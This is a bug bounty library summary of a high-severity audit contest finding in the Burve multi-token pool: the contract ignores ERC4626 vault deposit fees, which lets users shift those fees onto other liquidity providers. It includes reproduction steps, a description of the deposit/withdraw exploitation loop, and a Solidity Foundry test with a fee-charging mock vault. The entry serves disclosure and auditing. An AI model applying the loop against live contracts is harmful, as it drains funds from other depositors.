# Incorrect handling of ERC4626 vaults with fees

Burve fails to account for ERC4626 deposit/withdrawal fees, letting users deposit fee-free and leaving last withdrawers short.

- Payout: Audit contest
- Severity: high
- Program: Burve
- Found by: 0L5S6W
- Disclosed: 2025-04-17
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-04-burve-judging/issues/70
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-04-burve%3AH-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity vuln:accounting-error vuln:fee-bypass

**Target:** ValueFacet.addValue / SwapFacet in Burve multi-token pool
**Root cause:** addValue transfers only the nominal token amount from the user, but the underlying ERC4626 vault charges deposit/withdrawal fees, so fewer shares are minted than the value credited to the user.
**Steps:**
1. Deploy a multi-token pool whose underlying vault is an ERC4626 with a 1% deposit fee.
2. Alice calls `valueFacet.addValue(alice, 0x03, 100e18, 0)`; contract pulls 100 assets but vault mints shares for only 99 assets.
3. Alice calls `valueFacet.removeValue(alice, 0x03, 100e18, 0)` and receives 100 assets back.
4. Alice's token0 balance is unchanged (approx) despite the 1% fee, proving the fee was socialized to the pool.
**How found:** Auditor noticed that addValue credits `value` based on `realNeeded` but the subsequent ERC4626 deposit mints fewer shares when fees exist, creating a mismatch between accounted and actual assets.
**Exploitation:** A user repeatedly deposits and withdraws value; each cycle the vault fee is paid by the pool rather than the user, draining value from other liquidity providers.
**Insight:** When integrating ERC4626 vaults, always check whether previewDeposit/previewWithdraw include fees; any accounting that uses nominal amounts instead of actual shares received will be exploitable by fee-avoidance loops.

## Proof of concept (copied exactly from the original report)

**Test showing fee avoidance via add/remove value**

```
function testAuditERC4626Fee() public {
        uint256 token0BalanceBefore = token0.balanceOf(alice);

        vm.startPrank(alice);
        valueFacet.addValue(alice, 0x03, 100e18, 0);
        valueFacet.removeValue(alice, 0x03, 100e18, 0);
        vm.stopPrank();

        uint256 token0BalanceAfter = token0.balanceOf(alice);

        assertApproxEqAbs(token0BalanceBefore, token0BalanceAfter, 1e3);
    }
```

**MockERC4626 charging 1% deposit fee**

```
function previewDeposit(uint256 assets) public override view returns (uint256) {
        uint256 fee = assets * 1 / 100;
        assets -= fee;
        return _convertToShares(assets, Math.Rounding.Floor);
    }

    function deposit(uint256 assets, address receiver) public override returns (uint256) {
        uint256 maxAssets = maxDeposit(receiver);
        if (assets > maxAssets) {
            revert ERC4626ExceededMaxDeposit(receiver, assets, maxAssets);
        }

        uint256 shares = previewDeposit(assets);
        _deposit(_msgSender(), receiver, assets, shares);

        uint256 fee = assets * 1 / 100;
        ERC20(asset()).transfer(address(0xdead), fee);

        return shares;
    }
```

